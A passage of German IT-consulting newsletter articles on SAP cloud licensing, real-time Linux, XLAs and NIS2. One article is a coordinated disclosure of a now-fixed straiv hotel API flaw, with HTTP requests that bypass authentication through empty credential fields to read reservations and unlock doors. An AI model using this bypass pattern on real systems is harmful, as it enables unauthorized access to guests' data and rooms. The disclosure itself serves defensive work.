SAP auf Allzeithoch Drängt Kunden in die Cloud 

Von Lorenz Müller, HiSolutions AG 

SAP strukturiert weiterhin massiv um: Für die SAP Business Suite ist die Nachfolgerin SAP S/4HANA längst da. Das Ende der Mainstream-Wartung naht, die Migration scheint unausweichlich. Und mit der Fokussierung auf die Cloud stellt sich SAP selbst neu auf. 

Die Dynamik, mit der SAP seine Konzern- und Produktpolitik betreibt, beeindruckt. On-Premise-Angebote wurden drastisch verteuert – auch, um SAP-Kunden in die Cloud zu drängen. Mit dem Private Cloud-Komplettpaket RISE with SAP und mit Grow with SAP für Public Cloud bietet SAP eine neue Form der Cloud-Transformation an. Das Subskriptionsmodell bringt Kunden in eine Dauerabhängigkeit und generiert SAP beständig profitable Umsätze. Das flexiblere Lizenzmodell stellt Cloud- gegenüber On-Premise-Kunden deutlich besser. Dabei sind die Vertragsmodelle wie auch die Transformation selbst hochkomplex und bieten viele Risiken und Nebenwirkungen – bis hin zum notwendigen IT-Umbau. 

Die Ankündigung, Innovationen wie die Nutzung künstlicher Intelligenz und Nachhaltigkeitsreporting nur noch in den SAP-eigenen Cloudangeboten gegen Mehrpreis zur Verfügung zu stellen, düpierte und verunsicherte Kunden wie Partner. Die Folge: Noch mehr Druck, den Wechsel in die SAP-Cloud anzugehen. 

Offenbar sind bisher weniger zu SAP S/4HANA migriert als geplant. Die Cloud-Angebote wurden nicht im erwünschten Umfang angenommen. Bereits getätigte Investitionen in On-Premise-Software wurden nicht angerechnet, bis Anfang 2024 der nächste Schachzug in Form eines neuen Bonus- und Rabattprogramms folgte: Mit „RISE with SAP Migration and Modernization“ sollen Kunden eingeladen werden, eine Cloud First-Geschäftsstrategie auf SAP-Basis zu entwickeln.

Unaufhaltsam verstärkt SAP weiter den Druck: Bereits seit September letzten Jahres erhalten viele Kunden über die Standardrabatte hinaus nicht mehr die in der Vergangenheit regelmäßig gewährten zusätzlichen Rabatte. SAP will mit dieser De-Facto-Verteuerung Bestandkunden den Erwerb benötigter On-Premise-Lizenzen zusätzlich vergällen und zum Umstieg auf SAP RISE Cloudlösungen bewegen – und damit den Profit erhöhen. Neukunden wurde der Erwerb von On-Premise-Lizenzen mit Hinweis auf die Cloudangebote bereits mehrfach verwehrt. 

Inzwischen hat SAP das RISE-Umstiegsprogramm durch Verlängerung des Eilzuschlags noch attraktiver gestaltet: Bei Abschluss eines entsprechenden Vertrags bis Ende September 2024 gibt es zusätzlich zu den 45 % für ECC-Kunden (max. 3 Mio. €) bzw. 60 % für S/4-Kunden (max. 6 Mio. €) Migration Credit als Gutschriften, weitere 25 % Turbo-Uplift – was im Einzelfall sehr viel Geld sein kann!  Dazu kommen oft noch hohe Subventionen der Hyperscaler. Über 5.200 Kunden haben nach aktuellen Angaben von SAP bereits Private-Cloud -SAP-Verträge abgeschlossen. 

Wenn Sie noch nicht in fortgeschrittenen Gesprächen mit SAP sind, ist ein Vertragsabschluss bis September 2024 kaum realistisch. Wir empfehlen Ihnen dennoch unbedingt, sich kurzfristig mit RISE/GROW with SAP auseinanderzusetzen, um mögliche wirtschaftliche und strategische Nachteile für Ihr Unternehmen zu vermeiden – zumal das Programm bis Ende 2024 begrenzt ist. 

Der SAP-CEO Christian Klein betreibt seit mehr als einem Jahr auch die Umgestaltung des Unternehmens – hin zu mehr Public Cloud, zu KI – und zum Abbau von 10.000 „Altjobs“. Primär, um den Börsenwert von SAP signifikant zu erhöhen, und um seinen Job zu retten. Denn die Unzufriedenheit der Beschäftigten von SAP steigt: Fast die Hälfte traut Klein laut aktueller Befragung nicht mehr zu, SAP in die Zukunft zu führen. 
Dafür gibt es mehrere Gründe: Der Vorstandschef führt autoritär, beordert die Belegschaft zurück ins Büro und will ein Bewertungssystem einsetzen, um Low Performer zu identifizieren. SAP steckt in der Transformation. All das kannten die erfolgsverwöhnten SAP´ler bislang so nicht.  

10.000 langjährig SAP-erfahrene (und vermutlich kritische) Mitarbeiter freizusetzen zugunsten günstigerer, unerfahrener und loyaler Mitarbeiter – wie wird das SAP verändern? Wo es doch bereits heute für Kunden schwierig ist, qualifizierten Support und Weiterentwicklung der Software zu erhalten, da erfahrene Ressourcen fehlen. 

Ab 2025 rechnet SAP mit rund 200 Millionen Euro weniger Kosten als bisher geplant. Dadurch soll auch das Ergebnis vor Zinsen und Steuern (Ebit) entsprechend steigen: SAP plant nun mit 10,2 Milliarden Euro, bislang waren es 10,0 Milliarden. 

Die Produktstrategie von Christian Klein ist klar: In aktuellen Präsentationen wird immer mit Grow with SAP die Public Cloud als Ziel gesetzt, RISE with SAP als Übergang, sofern Grow (noch) nicht möglich ist. Und dazu KI. 

Die Börse hat dies alles und auch die euphorischen Quartalsergebnisse des 2. Quartals honoriert (das operative Ergebnis stieg um 33 % auf 1,94 Milliarden Euro – ein Plus von 33 %). Analysten hatten lediglich mit einem Anstieg um 24 % gerechnet: der Börsenkurs ist in den letzten 12 Monaten um fast 60 % auf nahezu 200 € pro Aktie gestiegen.  

SAP-Cloud oder passendere Alternativen? Prüfen Sie zeitnah! 

Vor dem neuen Programm gab es beim Abschluss von Cloud-Verträgen nie Anrechnungen für getätigte On-Premise-Lizenzkäufe – daher verändert dies das Momentum nun nochmal deutlich zugunsten von RISE with SAP. 

Die SAP SAM-Experten von HiSolutions haben in den letzten Jahren viele Unternehmen beim Wechsel in die SAP-Cloud begleitet. Andererseits erwies sich bei einer mindestens ebenso großen Zahl von Kunden die SAP-Cloud als nicht wirtschaftlich oder unpassend. Daraufhin wurden gemeinsam zukunftsfähige Alternativen gesucht, gefunden, bewertet und auf den Weg gebracht. 
Dies ist hochkomplex. Es berührt die elementaren Grundlagen Ihrer IT und Ihres Unternehmens. Es geht dabei um Millionen. Die meisten Unternehmen haben für diese einmalige Transaktion nicht die erforderliche Erfahrung und Expertise.  Darum ist Rat und Unterstützung von seriösen und erfahrenen SAP Lizenz- und -Vertragsberatern einzuholen. 
Sprechen Sie gerne mit uns: kostenfrei, unverbindlich – und ohne Risiken und Nebenwirkungen. 

Lorenz Müller 

– Principal ITM – 

____________________________________________ 

HiSolutions AG | Schloßstraße 1 | 12163 Berlin            

Fon: +49 30 533 289-0 | Fax: +49 30 533 289-900 I Mobil: +49 173 3756895 

lmueller@hisolutions.com| https://www.hisolutions.com            

Mindestinformationen im geschäftlichen E-Mail-Verkehr nach § 80 AktG: 

Sitz der Gesellschaft / registered office: HiSolutions AG, Schloßstraße 1, 12163 Berlin 

Handelsregistereintrag / Commercial register: Amtsgericht Berlin Charlottenburg – HRB 80155 

Vorstand / Management Board: Torsten Heinrich, Prof. Timo Kob, Michael Langhoff 

Vorsitzender des Aufsichtsrates / Chairman of the supervisory board: Dr. Andreas Resch

Sind 17 Jahre noch Echtzeit?

Linux und Echtzeit – für einige ist das ein Widerspruch, während andere schon seit Jahren die Real-Time-Linux-Patches nutzen. Hintergrund ist, dass der Hauptzweig des Linux-Kernel über die Jahre zwar viele Änderungen für Echtzeitfähigkeit erfahren hat, aber ohne die separat gepflegte Patch-Sammlung harte Echtzeitanforderungen nicht garantiert werden konnten. Im September ist jetzt ein großer Teil dieser Patches in den Hauptzweig übernommen worden und damit ein viele Jahre währender Prozess nah ans Ziel gekommen.

Es gibt allerdings immer noch Spezialfälle, in denen nicht garantiert werden kann, dass der Kernel alles stehen und liegen lässt, um auf ein Ereignis innerhalb der vorgegebenen Zeit reagieren zu können. Es stehen also noch weitere Entwicklungsaufwände an, die vor allem durch eine fehlende Finanzierung ausgebremst werden. Denn obwohl schon jetzt viele Hersteller Echtzeit-Linux in ihren Geräten nutzen, kommt nicht genug Geld bei den Entwicklern an.

Diese Diskrepanz zwischen der Wertschöpfung der Nutzer von Open-Source-Software und der Finanzierung der Entwicklung ist eine grundsätzliche Herausforderung für das Open-Source-Ökosystem. Mit Stiftungen wie der Linux Fundation wird dagegen gesteuert. Mit dem Sovereign Tech Fund gibt es in Deutschland sogar ein staatlich finanziertes Unterstützungsangebot, das auch die Verbesserung der Sicherheit zum Ziel hat. Dabei gibt es verschiedene Angebote von Bug-Bounty-Programmen bis zu Stipendien für Entwickler.

Die „Contribute Back Challenge“ richtet sich an Open-Source-Software einsetzende Firmen, die ihren Mitarbeitern Zeit für die Weiterentwicklung einräumen. Das lohnt sich natürlich vor allem, wenn man ohnehin eine eigene Entwicklungsabteilung unterhält. Aber unabhängig von der Challenge kann man auch schon mit kleinen Beiträgen etwas zurückgeben: vom Ausprobieren von Testversionen bis hin zur aktiven Teilnahme in den Online-Communities.

Haben Sie sich schon einmal in Ihrem Unternehmen umgeschaut, ob Sie in der Open-Source-Community aktive Kollegen haben?

P.S.: Eine Reaktion nach 17 Jahren kann übrigens nach der formalen Definition Echtzeit sein, etwa wenn die garantierte Reaktionszeit 20 Jahre war.

Schwachstelle öffnet Türen in mehr als 3.000 Hotels

Es mag bequem klingen: Die Zimmertür im Hotel lässt sich ganz ohne Schlüssel oder Karte vom Smartphone aus entriegeln. Doch was passiert, wenn die Logik eines solchen Systems nicht ausreichend abgesichert ist?

Zimmertüren von Hotels aus über 25 Ländern ließen sich mit einer neu entdeckten Schwachstelle öffnen. Bequem? Ja, über das Internet und ohne Zugangsdaten. Dazu konnten sämtliche Reservierungsinformationen (u. a. Name, E-Mail, Reservierungszeitraum und Raumnummer) eingesehen werden. Doch wie kam es dazu?

Zusammenfassung

Die Firma straiv ist ein innovativer und digitaler Begleiter für Hotelbranchen. Als solcher bieten sie unter anderem Online-Check-ins und digitale Türöffnungen an. Was den Sicherheitsforschern Björn Brauer, Deniz Adrian und David Mathiszik bei einem Hotelbesuch jedoch auffiel: Angreifenden wäre es dank einer fehlerhaften Zugangskontrolle in der API möglich, den Check-in und das Öffnen von Türen auch ohne Autorisierung über das Internet zu bedienen.

Im Rahmen einer vertraulichen Offenlegung (engl. Responsible Disclosure oder auch Coordinated Vulnerability Disclosure – CVD) wurden die technischen Details daraufhin direkt an den Hersteller übermittelt. straiv reagierte zeitnah und behob die Sicherheitslücke in ihrer Anwendung umgehend.


Dank ihres Software-as-a-Service-Ansatzes konnte das Unternehmen das Sicherheitsrisiko zeitgleich für alle Kunden mitigieren. Es wird daher auch keine CVE-ID für diese Schwachstelle vergeben. Die Veröffentlichung der Schwachstelle erfolgt in Abstimmung mit dem Hersteller frühestens einen Monat nach der erfolgreichen Behebung.

Die Ursache: Broken Access Control

Broken Access Control belegt aktuell Platz 1 unter den beliebtesten (lies: häufigsten) Schwachstellen in Webanwendungen (siehe: A01:2021 – OWASP Top 10). Auch hier war eine fehlerhafte Zugriffskontrolle die Ursache.

Für gewöhnlich erhalten Gäste eine E-Mail mit einem Link zu ihrer Reservierung. Über diesen werden sie auf die Webanwendung von straiv weitergeleitet. Dort können Buchungsinformationen, die Reisedaten und alle Begleiterprofile eingesehen werden. Ein weiterer Menüreiter führt zu den digitalen Zimmerschlüsseln. Darüber kann die Zimmertür während des eigenen Buchungszeitraums gesteuert werden. Dies geschieht über die API von straiv.io.

Normale API-Anfragen schienen mindestens durch einen HTTP-Header (X-Token), einen Code (cryptcode) und die Reservierungsnummer (reservation) geschützt zu werden. Wurde auch nur einer der Werte verändert, so wurde der Zugriff erwartungsgemäß verwehrt. Fehlten jedoch alle Werte gleichzeitig, wurde nur noch die Reservierungsnummer interpretiert.

In der folgenden beispielhaften Anfrage wurden sämtliche Authentifizierungsparameter, bis auf die Reservierungsnummer, leer gelassen und die API antwortete dennoch mit Informationen zur Reservierung.

POST /api/v2/auth HTTP/2
Host: start.straiv.io
X-Token:
X-Code:
X-Version: 12.3.0
Content-Type: application/json
{
    "cryptcode":"",
    "platform":"linux",
    "browser":"Firefox",
    "version":"115.0",
    "tokens":[],
    "reservation":"3XXXXX"
}

Das Ergebnis enthielt neben anderen Informationen auch einen validen token, der für weitere API-Anfragen genutzt werden konnte.

So lieferte der folgende API-Aufruf noch mehr Kundendetails:

GET /api/v2/vblo/pms/reservation?reservation_id= HTTP/2
Host: start.straiv.io
Accept: application/json, text/plain, */
X-Token: sXXXXXXXXXXXXXXXXXXXh
X-Code: XXXX
X-Version: 12.3.0

Statt die API zu verwenden, kann auch die remote_url aus der Antwort der ersten API-Anfrage verwendet werden, um bequem über die Webanwendung auf die Reservierung zuzugreifen:

HiSolutions hat keine Enumeration von Nutzerdaten durchgeführt und über das Abschätzen der Auswirkungen dieser Schwachstelle hinaus nicht mit der API oder den Buchungen interagiert. Prinzipiell standen alle Funktionalitäten des legitimen Benutzers uneingeschränkt zur Verfügung.

Mitigation

Für die Kunden von straiv bestand kein weiterer Handlungsbedarf. Die Sicherheitslücke wurde von den Entwicklern ernst genommen und umgehend geschlossen.

Grundsätzlich lassen sich Fehler dieser Art durch folgende allgemeine Empfehlungen verhindern:

  • Vertrauen Sie keinen Nutzereingaben – validieren Sie diese.
    Verlassen Sie sich nie auf die Gültigkeit von jeglichen Werten, die von den Endbenutzern beeinflusst werden können. Dazu gehören auch Cookie-Werte, Anfragenparameter und HTTP-Header. Auch auf serverseitig gespeicherte Informationen sollte nich blind in allen Kontexten vertraut werden.
  • Überprüfen Sie Gültigkeit aller Werte serverseitig. Weisen Sie leere oder ungültige Authentifizierungsinformationen zurück. Achten Sie bei der Implementierung von Tests auf eine vollständige Abdeckung aller Randszenarien (ein, mehrere oder auch alle Werte sind unerwartet, NULL, nicht definiert, vom falschen Typ, etc.).
  • Verwenden Sie starke Authentifizierungsmethoden.
    Implementationen sind stets abhängig von der Anwendung und dem Kontext. Greifen Sie, wenn möglich, auf bewährte und praxiserprobte Bibliotheken und Authentifizierungslösungen zurück. Verwenden Sie besonders in Bezug auf sensitive Informationen Zwei-Faktor-Authentifizierung. Stellen Sie zudem sicher, dass alle automatisch generierten Schlüssel, Codes und Token nicht leicht zu erraten und somit vor Brute-Force-Angriffen geschützt sind (vgl. UUID v4).
  • Durchsatzbegrenzung (engl. Rate Limiting) der API-Anfragen:
    Begrenzen Sie die mögliche Anzahl der Anfragen von einzelnen Systemen, um dem Missbrauch, wie der schnellen Enumeration von gültigen Reservierungen, vorzubeugen.

In ihrem Update hat straiv mindestens eine Anfragenbegrenzung aktiviert und Reservierungsnummern auf ein nicht-erratbares Format geändert.

Wie HiSolutions helfen kann

HiSolutions bietet spezialisierte Penetrationstests für Webanwendungen und Infrastrukturen an. Hierbei greifen wir auf langjährige Erfahrung zurück und kombinieren die Fähigkeiten modernster Scantechnologien mit manuellen Prüfverfahren, um die bestmögliche Testabdeckung zu gewährleisten.

Stellen Sie sicher, dass Schwachstellen gefunden und behoben werden, bevor Sie ausgenutzt werden können und kontaktieren Sie uns unter +49 30 533 289 0 oder dem Kontakformular für ein kostenloses Erstgespräch.

Koordinierte Veröffentlichung

  • 22.05.2024 HiSolutions sammelt Details zur Schwachstelle.
    Finder: Björn Brauer, Deniz Adrian & David Mathiszik
  • 23.05.2024 HiSolutions informiert betroffene Hotelkette und wird an straiv weitergeleitet.
  • 25.05.2024 straiv vereinbart einen Termin für die Übermittlung aller Details.
  • 04.06.2024 HiSolutions teilt alle Details mit straiv.
  • 06.06.2024 straiv veröffentlicht ein Update und HiSolutions bestätigt den Fix.

Wofür braucht es XLA’s am Digital Workplace? 

Für Digital Workplace Leader besteht die Aufgabe, die optimale Arbeitsumgebung für Mitarbeiter zu schaffen. XLA’s sind eine Möglichkeit, die täglichen Anforderungen des Mitarbeiterteams besser nachzuvollziehen.  

Der Wassermelonen-Effekt 
Doch was tun, wenn die SLA-Kennzahlen grün leuchten, aber die Mitarbeiter dennoch mit den IT-Diensten am Arbeitsplatz unzufrieden sind? Dieses Phänomen wird als „Wassermelonen-Effekt“ bezeichnet: Auf der Oberfläche scheint alles in Ordnung zu sein – Hardware und Software sind ausreichend vorhanden, die Kennzahlen zeigen Erfolg, die Tools passen – aber in Wahrheit fühlen sich Mitarbeiter durch Ihren Arbeitsplatz unmotiviert und frustriert. Vor allem dann, wenn sie nicht wissen, wie sie ihre Unzufriedenheit bei den üblichen SLA-Umfragen im Unternehmen ausdrücken sollen. Von der Technik her scheint doch alles zu passen? 

Die Problematik der negativen Employee Experience ist, dass sie einen tieferen Ursprung hat als SLAs dies messbar machen. Erfüllte KPIs (Key Performance Indicators), die hinter den SLAs stehen, messen die allgemeine IT-Leistung.  Darunter zählt unter anderem die Verfügbarkeit der IT-Systeme, die Reaktionszeit des Service Desk etc. Durch die Vorgehensweise der SLAs werden nur Kennzahlen dar geben, somit können keine subjektiven Eindrücke der Mitarbeiter im Arbeitsalltag widergespiegelt werden. Um den qualitativen Eindruck aus Mitarbeitersicht messbar zu machen, bieten XLAs (Experience Level Agreements) den nächsten Baustein zu den bestehenden SLAs.  

Anwender vs. Anforderungen 

Was sich in SLAs nicht abbilden lässt, ist die Frustration oder Begeisterung am Arbeitsplatz:  


Office 2016, ein bereits veraltetes Softwarepaket, wird im Unternehmen genutzt. Mitarbeiter verwenden dieses und konzipieren zusammen mit dem Kunden eine PowerPoint-Folie. Zeittechnisch halten die Mitarbeiter Deadlines ein, schicken dem Kunden neue Entwürfe und sehen den Arbeitsfortschritt positiv. Schon bald ruft der Kunde jedoch an und beschwert sich darüber, dass seine Kommentare in zurückgeschickten Entwürfen nicht abgearbeitet werden, während er mit weiteren Entwürfen überflutet wird.   
 
Der Kunde besaß im Gegensatz zu den Mitarbeitern des Unternehmens das neueste Office 2023. Die Kommentare des Kunden im zurückgeschickten Entwurf wurden auf der alten Version aus 2016 im Layout nicht sichtbar angezeigt. Eine peinliche Situation, die an fehlendem Innovationsmanagement im Unternehmen gebunden war. In halbjährlichen SLA-Umfragen ist so ein Einzelfall aufgrund des quantitativen Messverfahrens gar nicht erst messbar. Also bleibt es bei den 10 Punkten Zufriedenheit unter „Programmverfügbarkeit am Arbeitsplatz“. Das Programm war jederzeit nach SLA-Anforderungen abrufbar; welche Qualität in der User-Experience lag, ist daran nicht abbildbar. 

 
Das Beispiel ist an SLAs die sich auf die Reaktionszeit der IT beziehen gespiegelt anwendbar. Häufig sieht das Unternehmen die Einhaltung von SLAs der internen IT kritischer, als es diese ist. Das bedeutet das Unternehmen steckt Unmengen an Geld in die interne IT welche blitzschnelle Reaktionszeiten auf Tickets und Notfälle aufweist. Das aufgrund einer Menge bereitstehendem Personal. 

Erstmal ist das definitiv eine positive Eigenschaft, jedoch stellt sich schnell die Frage, ob das bei einer internen IT überhaupt nötig ist. Bei externen Service Desks von Mobilfunkanbietern, Versicherungen oder Banken besteht, vor allem bei Security Incidents, die Prämisse immer IT-Personal auf Bereitschaft zu haben. Dort ist das Interesse und die Nachfrage danach nachvollziehbar groß, da diese auch mit dem Verkaufsfaktor der Dienstleistung verknüpft ist. 

Doch eine IT, die sich um Softwareausfälle und kaputte Hardware innerhalb des Büros kümmert, blüht im Unternehmen auch schon bei einem Level von “es klappt schon” auf. Wenn diese dann auch mal ein größeres Problem löst, steigt sie in den Augen des Büros schnell vom Underdog zum Helden auf.  

Ein weiterer Psychologischer Effekt ist die falsche Erwartungshaltung, die sich daraus bildet, dass die IT auf jedes kleine Problem ad hoc innerhalb kürzester Zeit reagiert. “Die haben jetzt aber schnell reagiert!” – und wenn das mal nicht der Fall ist, dann Ernüchterung doppelt so groß und die Beschwerden ebenso.  

Diese beiden Beispiele zeigen eine klare Problematik auf, wie findet man das Maß an Anforderung der Mitarbeiter? 

Was sind XLA’s? 

Um solche noch harmlosen Vorfälle zu verhindern, muss man schnell erkennen, welche Unzufriedenheiten sich in Ecken von Unternehmen breit machen. Dabei dienen die qualitativen Messverfahren der XLAs als Ansatzpunkt für Führungskräfte.  

XLA’s (Experience Level Agreements) sind Vereinbarungen, die die Benutzerzufriedenheit nach qualitativen Messverfahren analysieren und optimieren. Während SLA (Service Level Agreements) sich auf technische und betriebliche Leistungsmetriken konzentrieren sowie vertraglich Verfügbarkeitszeiten von Services festlegen. XLA’s den Fokus auf die Wahrnehmung und das Erlebnis des Endbenutzers, um ein umfassenderes Bild der Servicequalität zu bieten. Sie berücksichtigen die emotionale Reaktion der Benutzer auf die erbrachten Dienstleistungen.   

Die Verknüpfung zu den vorher bestehenden SLA’s am Arbeitsplatz besteht darin, dass XLA die Erweiterung oder Ergänzung zu SLA’s darstellen und durch die XLA-Auswertungen auch Anpassungen an den SLA und KPIs resultieren können und sollten.  

Was heißt qualitativ messen 

XLAs und SLAs arbeiten zusammen. SLAs legen vertraglich fest, inwiefern technische Services im Unternehmen verfügbar sein müssen. Dazu zählt die Erreichbarkeit des Ticket System der IT und die durch SLAs festgelegten Rückmeldezeiten der IT beim User. Durch SLAs wird sichergestellt, dass eine Dienstleistung in einem gegebenen Rahmen vorhanden ist und erfüllt wird.  

XLAs wiederum beschäftigen sich mit der Erfahrung rund um die Dienstleistung, der Employee-Experience (Mitarbeitererfahrung) in unsrem Beispiel des Digital Workplace. Darauf baut die Abschätzung zukünftiger Bedürfnisse auf, welche dazu dient, die positive Arbeitserfahrung am Arbeitsplatz zu fördern. Im Beispiel der IT und des gelösten Tickets spielt der Fokus nicht, wie schnell wurde das Problem durch die IT gelöst, sondern wie fühlte sich der User? Wurden im Alternativen in der Arbeitsweise bereitgelegt? Wie nahm er den Umgang mit seinem Problem durch die IT auf? 

Um XLAs in der Organisation effektiv anzuwenden, gibt es unterschiedliche Herangehensweisen. Im Falle der Employee-Experience kann ähnlich wie bei halbjährlichen SLA-Umfragen ein separater XLA-Bogen verteilt werden, bei dem auf die subjektiven Erfahrungen der Mitarbeiter rund um den Arbeitsplatz eingegangen wird. Dazu gehört auch die vorherige Abschätzung von neu aufkommenden Bedürfnissen in der Belegschaft. Beispielhaft sollte instinktiv gefragt werden:  

  • Braucht Ihr Guides für eure neuen oder auch alten Tools?   
  • Wie hätten wir das Onboarding besser gestalten können?  
  • Welches Programm fehlt euch im Unternehmen?  
  • Welche noch nicht bestehenden Funktionen wünscht ihr euch?  
  • Welches Projekt lief eurer Meinung nicht gut, obwohl es erfolgreich war?   

Hierbei ist nicht nur die klassische, häufig übersprungene Frage: „Sonstiges?“ Im Fragebogen gleichzusetzen. Es muss sich in die Lage der User versetzt werden, noch besser: Key User werden in der Konzipierung des Abfragemodells einbezogen.  

Wie funktionieren XLA im Unternehmen?  

Mechanismen wie der CES (Customer Effort Score), welcher die Anstrengung für die Erreichung eines Ziels durch den User beschreibt, oder der CSAT (Customer Satifaction) welcher die Zufriedenheit mit einer Dienstleistung misst, sind mögliche Ansatzpunkte, um XLAs einzubinden. Diese können quantitativ (Skalen oder Rangordnung fokussierte Fragebögen) sowie qualitativ (Textfeld Antworten welche komplexe, subjektive und detaillierte Begründungen zu spezifischen Fragen ermöglichen) gemessen werden. Hierbei setzen die Rahmenbedingungen um die Messung den Fokus auf individuelle Erfahrungen der Mitarbeiter. Dabei gibt es beispielsweise folgende Umsetzungsmöglichkeiten:  

Post-Interaction-Surveys: Nach jeder Interaktion zwischen IT und Mitarbeitern gibt es eine Befragung per Fragebogen, dessen Fragen sich an den Beispielen aus dem Kapitel „Was heißt qualitativ messen“ orientieren. In der Entwicklung des Surveys ist es von oberster Wichtigkeit, sich in die Lage der Mitarbeiter zu versetzen – noch besser, diese gleich bei der Entwicklung des Fragebogens einzubinden. Somit entwickeln sich Fragestellungen, die subjektiven Erfahrungen messbar machen und möglichen Beschwerden entgegenkommen.  

Interview in Fokusgruppen: Mitarbeiter und IT nehmen sich in Gruppen den eigenen Digital Workplace vor und analysieren diesen nach Ihren jeweiligen Vorstellungen, Anforderungen und Erfahrungen. Somit bildet sich ein gegenseitiges Verständnis im Arbeitsalltag bei Problembewältigung der IT. Dazu gelingt die konkrete Umsetzung von Wünschen bei Mitarbeitern durch den direkten Kontakt mit der IT leichter.  

Dies sind nur zwei beispielhafte Möglichkeiten. Für die konkrete Verwendung von XLAs zum Fördern des Digital Workplace und Förderung der Employee Experience sollte man nicht mit Kanonen auf Spatzen schießen. Das heißt, die eigene IT sowie die Mitarbeiter müssen an den Prozess, der Beantwortung von subjektiven Erfahrungen langsam herangeführt werden. Die Entwicklung der nötigen Strukturen für eine Befragung der Employee Experience selbst braucht eine eigene Instanz im Unternehmen. Der nötige Arbeitsaufwand kann nicht nebenbei zu täglichen Geschäftsprozessen von einem Team bewältigt werden.  Das liegt daran, dass der Fokus auf einzelne Bereiche im Unternehmen hin und her schwanken kann. Ebenso die spezifischen Fragestellungen immer angepasst werden müssen und sich stetig ändernde Technologien das Mitarbeiterumfeld prägen.  

Die nötigen internen SLAs zwischen IT und den Mitarbeiterteams müssen dazu auch bereits bestehen, das Service Design ausgearbeitet und die Strukturen der Teams im Unternehmen und deren Beziehung zur IT einsehbar sein.  Touchpoints an verschiedenen Stellen im Unternehmen wie am Headdesk, dem Service Desk, dem Onboarding und der IT selbst sind Brennpunkte für XLA-Befragungen, da genau dort die meisten subjektiven Erfahrungen zustande kommen.  

 
XLA an Touchpoints 

Um XLA’s im Arbeitsalltag anzuwenden, muss man sich langsam an die Thematik herantasten und Stück für Stück umsetzen. Nach einer Analyse des Unternehmens und dessen Geschäftsprozesse, kann festgehalten werden, welche Touchpoints Mitarbeiter intern am häufigsten haben. Bei Ticketschließungen, Onboardings und Restrukturierungen in der Organisation braucht es ein System, welches in kurzer Zeit Schlüsselerfahrungen der Mitarbeiter festhält.   

Kurzabfragen nach Ticketschließung, persönliche Gespräche, Feedbackrunden, individualisierte Emails – all das bietet die Chance, neues über Mitarbeiterbedürfnisse zu erfahren. Von gewünschten Tools, Ablaufänderungen, Problemlösungsvorschläge und Lob, die Outcomes sind genauso vielfältig wie die Möglichkeiten Mitarbeiter abzufragen.  

Wichtig ist, dass hierbei nicht nur die Regelmäßigkeit mit den Touchpoints eine Rolle spielt, sondern viel mehr auch die Kritikalität in der Mitarbeitererfahrung mit diesen. Verstehen kann man das in einem Vergleich: Der Ausfall einer viel genutzten Software im Unternehmen trifft die Mitarbeiter im Arbeitsalltag und Arbeitsvorschritt schwerer als der leere Obstkorb im Pausenraum. Beides wird eine negative Erfahrung für Mitarbeiter darstellen, doch die erstere hat breitere Auswirkungen. Genau während und nach solchen Krisen lohnt es sich in der Organisation zu fragen: „Wie nehmt Ihr die Situation um die Lösung des Softwareausfalls wahr? Findet Ihr Alternativen in der Arbeitsweise?“ Schlussendlich geht es bei der Mitarbeitererfahrung nur um eines, die stetige Verbesserung dieser. 

Unser Bezug 

Bei der nötigen Definition und Entwicklung von SLAs und der Schaffung einer Grundstruktur in der IT des Unternehmens bietet HiSolutions drei Jahrzehnte Erfahrung an. Dies dient als idealer Grundbaustein für die folgende Förderung der Employee Experience durch die Implementierung von XLAs – ohne in diesem zeitaufwendigen Prozess die interne IT zu strapazieren.

Wie ITSM die NIS2 Compliance unterstützt 

Mit der Einführung der NIS2-Richtlinie, die eine Umsetzung in nationales Recht bis zum 18.10.2024 vorsieht, werden Unternehmen dazu verpflichtet, angemessene Maßnahmen zur Gewährleistung der Cybersicherheit zu ergreifen. Im Rahmen des IT Service Managements (ITSM) sind verschiedene Aspekte von NIS2 von Bedeutung, um die Compliance sicherzustellen und die Cybersicherheit zu stärken. 

Die Umsetzung der EU-Richtlinie in deutsches Recht wird aktuell immer weiter verschoben. Im aktuell öffentlichen Entwurf des deutschen NIS2-Umsetzungsgesetzes steht zwar weiterhin der 01.10.2024 als Beginn der Umsetzungspflicht, aber aktuelle Gerüchte weisen darauf hin, dass die Verabschiedung des Gesetzes sich auch über dieses Datum hinaus verzögern könnte.  

Über drei Jahrzehnte Erfahrung von HiSolutions in der IT-Management- und Informationssicherheitsberatung zeigen, dass die in NIS2 geforderten Maßnahmen und deren wirksame Umsetzung sehr zeitaufwändig sein können. Unsere Empfehlung bleibt deshalb, sofort auf Basis der bereits jetzt verfügbaren Informationen wie den jetzigen EU-Vorgaben, dem aktuellen Entwurf des deutschen Umsetzungsgesetzes sowie gängigen Standards und BSI-Vorgaben zu handeln. 


Mit diesem Übersichtsartikel bauen wir einen Leitfaden auf. Dieser soll auch Unternehmen, die zum ersten Mal regulatorisch erfasst werden, eine Einführung in die Best Practices im IT Service Management bieten. Zukünftige Artikel zur Vertiefung behandeln folgende NIS2-relevante Handlungsfelder: 

  1. Behandlung von Sicherheitsvorfällen 

Unternehmen müssen Prozesse zur Erkennung, Meldung und Behandlung von Sicherheitsvorfällen implementieren. NIS2 legt fest, dass Organisationen Sicherheitsvorfälle innerhalb bestimmter Fristen melden und angemessene Maßnahmen zur Eindämmung und Behebung ergreifen müssen. Daher müssen Unternehmen entsprechende Incident Management Prozesse etablieren, um Sicherheitsvorfälle effektiv zu bearbeiten und die Auswirkungen auf ihre IT-Dienste zu minimieren.  

Aus Sicht des IT-Service Managements sind hier der Service Desk, bei dem Endanwender mit Meldungen zu Sicherheitsvorfällen ankommen, der Incident Management Prozess, der eng mit dem Security Incident Prozess verzahnt sein sollte sowie die Maßnahmen rund um das Logging und Monitoring von Systemen involviert. 

  1. Business Continuity 

NIS2 fordert von Unternehmen die Entwicklung von Business-Continuity-Plänen, um die Verfügbarkeit kritischer Dienste auch während und nach Sicherheitsvorfällen sicherzustellen. Im IT Service Management werden aus dem Business Continuity Management (BCM) die entsprechenden IT Service Continuity Management (ITSCM) Maßnahmen abgeleitet. Das ITSCM ist wiederum eng mit dem Availability und dem Capacity Management verbunden. Um ein ITSCM effektiv zu gestalten, sind Grundlagen aus dem Service Configuration Management notwendig. 

  1. Auslagerungsmanagement 

